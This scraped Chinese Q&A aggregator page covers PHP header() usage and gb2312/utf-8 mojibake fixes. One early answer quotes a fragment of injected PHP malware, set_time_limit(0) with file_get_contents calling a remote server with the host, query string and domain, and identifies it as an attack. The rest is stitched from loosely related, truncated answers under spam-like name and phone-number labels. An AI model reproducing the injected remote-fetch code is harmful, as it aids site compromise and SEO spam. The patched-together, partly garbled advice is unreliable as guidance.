php加了header("Content-type: text/html; charset=gb2312");这句之后

作者&投稿:勾劳 (若有异议请与网页底部的电邮联系)
网站多了一堆乱七八糟的名字命名的php文件<?php header("Content-Type: text/html;charset=gb2312");~

set_time_limit(0)

被人攻击了吧。这个是设置程序永久执行。耗费内存,然后下面还有$Content_mb=file_get_contents($Remote_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']);

一旦有人访问就生成这些文件。
总得来说耗费你内存。

一.首先是PHP网页的编码

1.php文件本身的编码与网页的编码应匹配

a.如果欲使用gb2312编码,那么php要输出头:header(“Content-Type: text/html; charset=gb2312"),静态页面添加,所有文件的编码格式为ANSI,可用记事本打开,另存为选择编码为ANSI,覆盖源文件。

b.如果欲使用utf-8编码,那么php要输出头:header(“Content-Type: text/html; charset=utf-8"),静态页面添加,所有文件的编码格式为utf-8。保存为utf-8可能会有点麻烦,一般utf-8文件开头会有BOM,如果使用 session就会出问题,可用editplus来保存,在editplus中,工具->参数选择->文件->UTF-8签名,选择总是删除,再保存就可以去掉BOM信息了。

2.php本身不是Unicode的,所有substr之类的函数得改成mb_substr(需要装mbstring扩展);或者用iconv转码。


更多介绍,你可以进我百度空间看下
http://hi.baidu.com/lzxassj/blog/item/42648e2458344a21d40742ce.html

1、检查你的html编码是不是也用的gb2312 在头部加上

<meta charset="utf-8">

2、检查你的整个html文档的编码问题,一般都要求统一的编码~




师河区17738755065: PHP文件加了header("content - type="text/html",charset="utf - 8")还是为乱码,怎么回事? -
湛崔万吉: 首先需要安装一下ConvertToUTF8,然后按照以下步骤操作就不会有乱码了. 1、调用ctrl+shift+p,输入:install package回车. 2、在稍后弹出的安装包框中搜索:ConvertToUTF8点击安装,重装打开文件就不会有乱码了.一般是编码问题,汉字的编码有utf8或者gbk,big5等等.编辑器使用A编码来打开一个B编码下编写的文本时,编码错误操作汉字乱码,一般设置编辑器的编码与实际文本的编码一致即可.

师河区17738755065: 为什么php页面顶部加了header("HTTP/1.1 404 not found");代码,程序还是往下执行? -
湛崔万吉: 要停止继续往下,加个die();就可以了,这个只是输出个头部,404的头部后面一样是可以跟HTML内容的

师河区17738755065: PHP中header函数有什么用 -
湛崔万吉: hello,very glad to answer you.header主要是为了给WEB客户端发送(设置)http报头,利用该函数可以设置一些诸如浏览器的默认缓存设置、档案信息设置以及http报头的选项设置.一般开发用不到,除非特殊要求诸如预防安全性攻击之类的时候需要用到.

师河区17738755065: php中header() 有什么用 -
湛崔万吉: header的用法 标头 (header) 是服务器以 HTTP 协义传 HTML 资料到浏览器前所送出的字串,在标头 ??与 HTML 文件之间尚需空一行分隔.有关 HTTP 的详细说明,可以参 RFC 2068 官方文件 ??(http://www.w3.org/Protocols/rfc2068/rfc...

师河区17738755065: php中header()作用 -
湛崔万吉: 1、函数描述:header() 函数向客户端发送原始的 HTTP 报头.2、函数语法:header(string,replace,http_response_code)3、函数参数:①string:必需.规定要发送的报头字符串;②replace :可选.指示该报头是否替换之前的报头,或添加...

师河区17738755065: php header 函数不能正常跳转的几种解决办法
湛崔万吉: PHP页面跳转一、header()函数 header()函数是PHP中进行页面跳转的一种十分简单的方法.header()函数的主要功能是将HTTP协议标头(header)输出到浏览器. header()函数的定义如下: void header (string string [,bool replace ...

师河区17738755065: php页面添加了header()之后,echo输出的汉字就乱码,数据库查询的汉字正常显示. -
湛崔万吉: 你在header里面设置了你文件的编码是uft-8,如果乱码,你要检查文件的编码和数据库的编码是不是也是utf-8的.

师河区17738755065: php中的header是什么意思 -
湛崔万吉: header() 函数向客户端发送原始的 HTTP 报头.语法 header(string,replace,http_response_code) 参数描述 string 必需.规定要发送的报头字符串. replace 可选.指示该报头是否替换之前的报头,或添加第二个报头.默认是 true(替换).false(允许相同类型的多个报头).http_response_code 可选.把 HTTP 响应代码强制为指定的值.(PHP 4 以及更高版本可用) 用于301重定向、网页跳转、和控制网页缓存等

师河区17738755065: php中的header函数 -
湛崔万吉: header("Location:page.php"); 是为了跳转到其它页面.当然是运行到它时才跳过去.编译时还是运行时执行?这个问题问在include 与 require合适....注意区分它与 include 与 require区别 另外补充回答:================== 页面跳...

师河区17738755065: PHP里的header能不能打开新窗口? -
湛崔万吉: 你这里直接这样写,header("location:a.xls");那肯定会是在当前页面进行下载啊,如果你做到你刚刚说的,你可以再做一个页面,然后把那个下载地址加到那个页面,例如:test.html然后你header("location: test.html");再在test.html页面进行下载就可以啦

本站内容来自于网友发表,不代表本站立场,仅表示其个人看法,不对其真实性、正确性、有效性作任何的担保
相关事宜请发邮件给我们
© 星空见康网